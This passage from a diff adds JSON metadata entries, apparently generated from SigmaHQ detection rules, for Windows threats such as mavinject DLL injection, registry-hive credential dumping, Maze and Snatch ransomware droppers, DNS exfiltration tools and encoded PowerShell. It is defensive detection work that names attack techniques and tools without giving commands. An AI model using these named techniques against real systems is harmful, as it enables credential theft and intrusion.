"https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", + "https://twitter.com/gN3mes1s/status/941315826107510784", + "https://reaqta.com/2017/12/mavinject-microsoft-injector/", + "https://twitter.com/Hexacorn/status/776122138063409152", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_creation_mavinject_process_injection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055.001", + "attack.t1218.013" + ] + }, + "uuid": "4f73421b-5a0b-4bbf-a892-5a7fb99bea66", + "value": "Mavinject Inject DLL Into Running Process" + }, + { + "description": "Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud", + "meta": { + "author": "Max Altgelt", + "creation_date": "2022/04/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_creative_cloud_node_abuse.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mttaggart/status/1511804863293784064", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_creative_cloud_node_abuse.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127", + "attack.t1059.007" + ] + }, + "uuid": "df1f26d3-bea7-4700-9ea2-ad3e990cf90e", + "value": "Node Process Executions" + }, + { + "description": "Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS", + "meta": { + "author": "Sreeman", + "creation_date": "2020/10/29", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_credential_access_via_password_filter.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/", + "https://github.com/3gstudent/PasswordFilter/tree/master/PasswordFilter", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_access_via_password_filter.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1556.002" + ] + }, + "uuid": "b7966f4a-b333-455b-8370-8ca53c229762", + "value": "Dropping Of Password Filter DLL" + }, + { + "description": "Detects Credential Acquisition via Registry Hive Dumping", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/10/04", + "falsepositive": "No established falsepositives", + "filename": "proc_creation_win_credential_acquisition_registry_hive_dumping.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/credential-acquisition-via-registry-hive-dumping.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_acquisition_registry_hive_dumping.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ] + }, + "uuid": "4d6c9da1-318b-4edf-bcea-b6c93fa98fd0", + "value": "Credential Acquisition via Registry Hive Dumping" + }, + { + "description": "Detects Archer malware invocation via rundll32", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/06/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_crime_fireball.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.virustotal.com/en/file/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022/analysis/", + "https://www.hybrid-analysis.com/sample/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_fireball.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "3d4aebe0-6d29-45b2-a8a4-3dfde586a26d", + "value": "Fireball Archer Install" + }, + { + "description": "Detects specific process characteristics of Maze ransomware word document droppers", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/05/08", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_crime_maze_ransomware.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://app.any.run/tasks/51e7185c-52d7-4efb-ac0d-e86340053473/", + "https://app.any.run/tasks/65a79440-373a-4725-8d74-77db9f2abda4/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_maze_ransomware.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002", + "attack.t1047", + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "29fd07fc-9cfd-4331-b7fd-cc18dfa21052", + "value": "Maze Ransomware" + }, + { + "description": "Detects specific process characteristics of Snatch ransomware word document droppers", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/08/26", + "falsepositive": [ + "Scripts that shutdown the system immediately and reboot them in safe mode are unlikely" + ], + "filename": "proc_creation_win_crime_snatch_ransomware.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_snatch_ransomware.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204" + ] + }, + "uuid": "5325945e-f1f0-406e-97b8-65104d393fff", + "value": "Snatch Ransomware" + }, + { + "description": "Detects command line parameters or strings often used by crypto miners", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/10/26", + "falsepositive": [ + "Legitimate use of crypto miners", + "Some build frameworks" + ], + "filename": "proc_creation_win_crypto_mining_monero.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.poolwatch.io/coin/monero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crypto_mining_monero.yml" + ], + "tags": [ + "attack.impact", + "attack.t1496" + ] + }, + "uuid": "66c3b204-9f88-4d0a-a7f7-8a57d521ca55", + "value": "Windows Crypto Mining Indicators" + }, + { + "description": "Detects a curl process start on Windows, which indicates a file download from a remote location or a simple web request to a remote server", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/07/05", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "filename": "proc_creation_win_curl_download.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "bbeaed61-1990-4773-bf57-b81dbad7db2d", + "value": "Curl Usage on Windows" + }, + { + "description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for | abnormal subprocesses spawning by Exchange Server's Unified Messaging service", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/03/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_cve_2021_26857_msexchange.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cve_2021_26857_msexchange.yml" + ], + "tags": [ + "attack.t1203", + "attack.execution", + "cve.2021.26857" + ] + }, + "uuid": "cd479ccc-d8f0-4c66-ba7d-e06286f3f887", + "value": "CVE-2021-26857 Exchange Exploitation" + }, + { + "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", + "meta": { + "author": "Timur Zinniatullin, E.M. Anhaus, oscd.community", + "creation_date": "2019/10/21", + "falsepositive": [ + "Highly likely if rar is a default archiver in the monitored environment." + ], + "filename": "proc_creation_win_data_compressed_with_rar.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_data_compressed_with_rar.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ] + }, + "uuid": "6f3e2987-db24-4c78-a860-b4f4095a7095", + "value": "Data Compressed - rar.exe" + }, + { + "description": "Deletes the Windows systemstatebackup using wbadmin.exe.\nThis technique is used by numerous ransomware families.\nThis may only be successful on server platforms that have Windows Backup enabled.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_delete_systemstatebackup.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_delete_systemstatebackup.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "89f75308-5b1b-4390-b2d8-d6b2340efaf8", + "value": "Wbadmin Delete Systemstatebackup" + }, + { + "description": "HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications.HxTsr.exe is part of Outlook apps, because it resides in a hidden \"WindowsApps\" subfolder of \"C:\\Program Files\". Its path includes a version number, e.g., \"C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7466.41167.0_x64__8wekyb3d8bbwe\\HxTsr.exe\". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe", + "meta": { + "author": "Sreeman", + "creation_date": "2020/04/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_detecting_fake_instances_of_hxtsr.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_detecting_fake_instances_of_hxtsr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ] + }, + "uuid": "4e762605-34a8-406d-b72e-c1a089313320", + "value": "Detecting Fake Instances Of Hxtsr.exe" + }, + { + "description": "Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that doesnt exist. This non-existent DLL file is named \"ShellChromeAPI.dll\". \nAdversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter\n", + "meta": { + "author": "@gott_cyber", + "creation_date": "2022/08/29", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_deviceenroller_evasion.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://mobile.twitter.com/0gtweet/status/1564131230941122561", + "https://strontic.github.io/xcyclopedia/library/DeviceEnroller.exe-24BEF0D6B0ECED36BB41831759FDE18D.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_deviceenroller_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "e173ad47-4388-4012-ae62-bd13f71c18a8", + "value": "DLL Sideloading via DeviceEnroller.exe" + }, + { + "description": "Detects the use of the Dinject PowerShell cradle based on the specific flags", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/12/07", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_dinjector.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/snovvcrash/DInjector", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dinjector.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055" + ] + }, + "uuid": "d78b5d61-187d-44b6-bf02-93486a80de5a", + "value": "DInject PowerShell Cradle CommandLine Flags" + }, + { + "description": "Detect use of DirLister.exe", + "meta": { + "author": "frack113", + "creation_date": "2022/08/20", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_dirlister.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1083/T1083.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dirlister.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ] + }, + "uuid": "b4dc61f5-6cce-468e-a608-b48b469feaa2", + "value": "Launch DirLister Executable" + }, + { + "description": "Detects when attackers use \"sc.exe\" or the powershell \"Set-Service\" cmdlet to change the startup type of a service to \"disabled\"", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/01", + "falsepositive": [ + "Administrators settings a service to disable via script or cli for testing purposes" + ], + "filename": "proc_creation_win_disable_service.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_disable_service.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "85c312b7-f44d-4a51-a024-d671c40b49fc", + "value": "Sc Or Set-Service Cmdlet Execution to Disable Services" + }, + { + "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credential", + "meta": { + "author": "frack113", + "creation_date": "2021/07/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_discover_private_keys.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.004/T1552.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_discover_private_keys.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.004" + ] + }, + "uuid": "213d6a77-3d55-4ce8-ba74-fcfef741974e", + "value": "Discover Private Keys" + }, + { + "description": "Detects execution of Microsoft Defender's CLI process (MpCmdRun.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2022/08/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_dll_sideload_defender.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "7002aa10-b8d4-47ae-b5ba-51ab07e228b9", + "value": "DLL Sideloading by Microsoft Defender" + }, + { + "description": "Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/02", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_dll_sideload_vmware_xfer.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_vmware_xfer.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "ebea773c-a8f1-42ad-a856-00cb221966e8", + "value": "DLL Sideloading by VMware Xfer Utility" + }, + { + "description": "The PowerShell implementation of DNSCat2 calls nslookup to craft queries. Counting nslookup processes spawned by PowerShell will show hundreds or thousands of instances if PS DNSCat2 is active locally.", + "meta": { + "author": "Cian Heasley", + "creation_date": "2020/08/08", + "falsepositive": [ + "Other powershell scripts that call nslookup.exe" + ], + "filename": "proc_creation_win_dnscat2_powershell_implementation.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/lukebaggett/dnscat2-powershell", + "https://blu3-team.blogspot.com/2019/08/powershell-dns-c2-notes.html", + "https://ragged-lab.blogspot.com/2020/06/it-is-always-dns-powershell-edition.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscat2_powershell_implementation.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071", + "attack.t1071.004", + "attack.t1001.003", + "attack.t1041" + ] + }, + "uuid": "b11d75d6-d7c1-11ea-87d0-0242ac130003", + "value": "DNSCat2 Powershell Implementation Detection Via Process Creation" + }, + { + "description": "Detects an attempt to add a potentially crafted DLL as a plug in of the DNS Service.\nDetects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain.\nDNS zones used to host the DNS records for a particular domain\n", + "meta": { + "author": "@gott_cyber", + "creation_date": "2022/07/31", + "falsepositive": [ + "Legitimate administration use" + ], + "filename": "proc_creation_win_dnscmd_discovery.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd", + "https://docs.microsoft.com/en-us/azure/dns/dns-zones-records", + "https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1543.003" + ] + }, + "uuid": "b6457d63-d2a2-4e29-859d-4e7affc153d1", + "value": "Discovery/Execution via dnscmd.exe" + }, + { + "description": "Well-known DNS Exfiltration tools execution", + "meta": { + "author": "Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate usage of iodine or dnscat2 — DNS Exfiltration tools (unlikely)" + ], + "filename": "proc_creation_win_dns_exfiltration_tools_execution.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_exfiltration_tools_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.001", + "attack.command_and_control", + "attack.t1071.004", + "attack.t1132.001" + ] + }, + "uuid": "98a96a5a-64a0-4c42-92c5-489da3866cb0", + "value": "DNS Exfiltration and Tunneling Tools Execution" + }, + { + "description": "Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required)", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/05/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_dns_serverlevelplugindll.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_serverlevelplugindll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.t1112" + ] + }, + "uuid": "f63b56ee-3f79-4b8a-97fb-5c48007e8573", + "value": "DNS ServerLevelPluginDll Install" + }, + { + "description": "dotnet.exe will execute any DLL and execute unsigned code", + "meta": { + "author": "Beyu Denis, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "System administrator Usage" + ], + "filename": "proc_creation_win_dotnet.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/", + "https://twitter.com/_felamos/status/1204705548668555264", + "https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dotnet.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ] + }, + "uuid": "d80d5c81-04ba-45b4-84e4-92eba40e0ad3", + "value": "Dotnet.exe Exec Dll and Execute Unsigned Code LOLBIN" + }, + { + "description": "Detects usage of Dsacls to grant over permissive permissions", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/20", + "falsepositive": [ + "Legitimate administrators granting over permissive permissions to users" + ], + "filename": "proc_creation_win_dsacls_abuse_permissions.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://ss64.com/nt/dsacls.html", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_abuse_permissions.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ] + }, + "uuid": "01c42d3c-242d-4655-85b2-34f1739632f7", + "value": "Abusing Permissions Using Dsacls" + }, + { + "description": "Detects possible password spraying attempts using Dsacls", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/20", + "falsepositive": [ + "Legitimate use of dsacls to bind to an LDAP session" + ], + "filename": "proc_creation_win_dsacls_password_spray.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone", + "https://ss64.com/nt/dsacls.html", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_password_spray.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ] + }, + "uuid": "bac9fb54-2da7-44e9-988f-11e9a5edbc0c", + "value": "Password Spraying Attempts Using Dsacls" + }, + { + "description": "Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images", + "meta": { + "author": "frack113", + "creation_date": "2022/01/16", + "falsepositive": [ + "Legitimate script" + ], + "filename": "proc_creation_win_dsim_remove.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-26---disable-windows-defender-with-dism", + "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsim_remove.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "43e32da2-fdd0-4156-90de-50dfd62636f9", + "value": "Dism Remove Online Package" + }, + { + "description": "Detects the use of the filename DumpStack.log to evade Microsoft Defender", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_dumpstack_log_evasion.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mrd0x/status/1479094189048713219", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dumpstack_log_evasion.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "4f647cfa-b598-4e12-ad69-c68dd16caef8", + "value": "DumpStack.log Defender Evasion" + }, + { + "description": "Detects email exfiltration via powershell cmdlets", + "meta": { + "author": "Nasreddine Bencherchali (rule), Azure-Sentinel (idea)", + "creation_date": "2022/09/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_email_exfil_via_powershell.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", + "https://github.com/Azure/Azure-Sentinel/blob/7e6aa438e254d468feec061618a7877aa528ee9f/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Email%20data%20exfiltration%20via%20PowerShell.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_email_exfil_via_powershell.yml" + ], + "tags": [ + "attack.exfiltration" + ] + }, + "uuid": "312d0384-401c-4b8b-abdf-685ffba9a332", + "value": "Email Exifiltration Via Powershell" + }, + { + "description": "Detects events that appear when a user click on a link file with a powershell command in it", + "meta": { + "author": "frack113", + "creation_date": "2022/02/06", + "falsepositive": [ + "Legitimate commands in .lnk files" + ], + "filename": "proc_creation_win_embed_exe_lnk.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.x86matthew.com/view_post?id=embed_exe_lnk", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_embed_exe_lnk.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "30e92f50-bb5a-4884-98b5-d20aa80f3d7a", + "value": "Hidden Powershell in Link File Pattern" + }, + { + "description": "Detects a base64 encoded FromBase64String keyword in a process command line", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/08/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_encoded_frombase64string.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_encoded_frombase64string.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "fdb62a13-9a81-4e5c-a38f-ea93a16f6d7c", + "value": "Encoded FromBase64String" + }, + { + "description": "Detects a base64 encoded IEX command string in a process command line", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_encoded_iex.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_encoded_iex.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "88f680b8-070e-402c-ae11-d2914f2257f1", + "value": "Encoded IEX" + }, + { + "description": "Detects processes that query known 3rd party registry keys that holds credentials via commandline", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_enumeration_for_credentials_cli.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://isc.sans.edu/diary/More+Data+Exfiltration/25698", + "https://github.com/synacktiv/Radmin3-Password-Cracker/blob/acfc87393e4b7c06353973a14a6c7126a51f36ac/regkey.txt", + "https://github.com/HyperSine/how-does-MobaXterm-encrypt-password", + "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_enumeration_for_credentials_cli.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.002" + ] + }, + "uuid": "87a476dc-0079-4583-a985-dee7a20a03de", + "value": "Enumeration for 3rd Party Creds From CLI" + }, + { + "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials.\nThe Windows Registry stores configuration information that can be used by the system or other programs.\nAdversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_enumeration_for_credentials_in_registry.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.002/T1552.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_enumeration_for_credentials_in_registry.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.002" + ] + }, + "uuid": "e0b0c2ab-3d52-46d9-8cb7-049dc775fbd1", + "value": "Enumeration for Credentials in Registry" + }, + { + "description": "One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe", + "meta": { + "author": "frack113", + "creation_date": "2022/02/13", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_esentutl_webcache.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", + "https://redcanary.com/threat-detection-report/threats/qbot/", + "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005" + ] + }, + "uuid": "6a69f62d-ce75-4b57-8dce-6351eb55b362", + "value": "Esentutl Steals Browser Information" + }, + { + "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/05/02", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_etw_modification_cmdline.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/_xpn_/status/1268712093928378368", + 